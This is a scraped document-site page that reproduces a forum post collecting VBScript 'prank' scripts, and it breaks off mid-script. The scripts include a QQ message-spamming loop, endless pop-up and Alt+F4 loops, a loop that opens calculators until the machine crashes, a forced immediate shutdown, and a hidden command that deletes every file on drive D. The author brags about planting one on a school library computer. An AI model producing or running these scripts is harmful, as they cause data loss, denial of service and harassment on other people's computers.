- 1、本文档共12页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
vbs 整人代码大 **
一、你打开好友的聊天对话框 ,然后记下在你 QQ 里好友的昵称 ,把下面代码里的 xx 替换一
下,就可以自定义发送 QQ 信息到好友的次数 (代码里的数字 10 改一下即可 ).
xx.vbs=>
=
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate(" 与 xx 聊天中 ")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
QQ 骚扰信息 ,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
do
msgbox "You are foolish!"
loop
三、打开无数个计算器,直到死机
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
四、直接关机
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
五、删除 所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
六、不断弹出窗口
while(1)
msgbox " 哈哈 你被耍了! "
loop
七、不断按下 alt+f4 (开什么都关闭……)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
八、按 500 次回车
(以上代码在运行者的电脑上显示 500 个对话框。其中 do until s=500 ,500 可以随意更改 )
dim s
do until s=500
s=s+1
msgbox " 哥们,给我按 500 次回车吧 ",64
loop
'
九、关不掉的窗口
WScript.Echo(" 嘿,谢谢你打开我哦,我等你很久
拉! "&TSName)
WScript.Echo(" 你是可爱的小朋吗 ?")
WScript.Echo(" 哈 ,我想你拉,这你都不知道吗? ")
顶
0
举报 | 2011-06-01 20:46 回复
菊花爆开
电白自学
2 楼
WScript.Echo(" 怎么才来,说 ~是不是不关心我 ")
WScript.Echo(" 哼 ,我生气拉,等你这么久,心都凉啦。 ")
WScript.Echo(" 小强很生气,后果很严重哦。 ")
WScript.Echo(" 嘿嘿!你也会很惨滴哦 ")
WScript.Echo(" 是不是想清除我? ")
WScript.Echo(" 那你要点上 50 下哦,不过会给你惊喜滴 ")
WScript.Echo(" 还剩 49 下,快点点哦
您可能关注的文档
- VC++对话框加背景图片,音乐设置方法.pdf
- VC常用操作源码汇总(推荐).pdf
- 百度实习生招聘.pdf
- 机房管理规定.pdf
- 《人力资本和经济高质量发展研究国内外文献综述》5400字.docx
- 《厦门旺泽咖啡机公司薪酬管理改进调研报告》6000字.docx
- 《恰恰食品瓜子坚果公司应收账款管理研究》开题报告文献综述4300字.docx
- 《千禾味业公司管理会计的应用分析》开题报告文献综述3800字.docx
- 《浅析物料搬运设备与技术应用》4200字.docx
- 医疗器械注册检验送检须知.docx
- 给荔红简约中国风员工述职报告.pptx
- 2023门窗行业招商加盟数据分析报告.pdf
- 《基于基因表达数据的胰腺癌预后研究现状综述》3900字.docx
- 《连云港美致医疗器械公司员工激励问题及对策分析》9300字.docx
- 《惠州名道时尚武夷岩茶股份有限公司企业文化建设研究》9000字.docx
- 2024年02月中国共产党崇左市委员会党史研究室(广西)2024年招考1名编外工作人员笔试参考题库后附答案详解.docx
- 2024年02月中共清远市委办公室(广东)2024年公开选调2名公务员笔试参考题库后附答案详解.docx
- 2024年02月中共雅安市雨城区委组织部2024年公开考核招考4名高层次人才笔试参考题库后附答案详解.docx
- 2024年02月中国基本建设优化研究会2024年招考笔试参考题库后附答案详解.docx
- 2024年02月中国伊斯兰教协会2024年度面向社会公开招考2名工作人员笔试参考题库后附答案详解.docx
文档评论(0)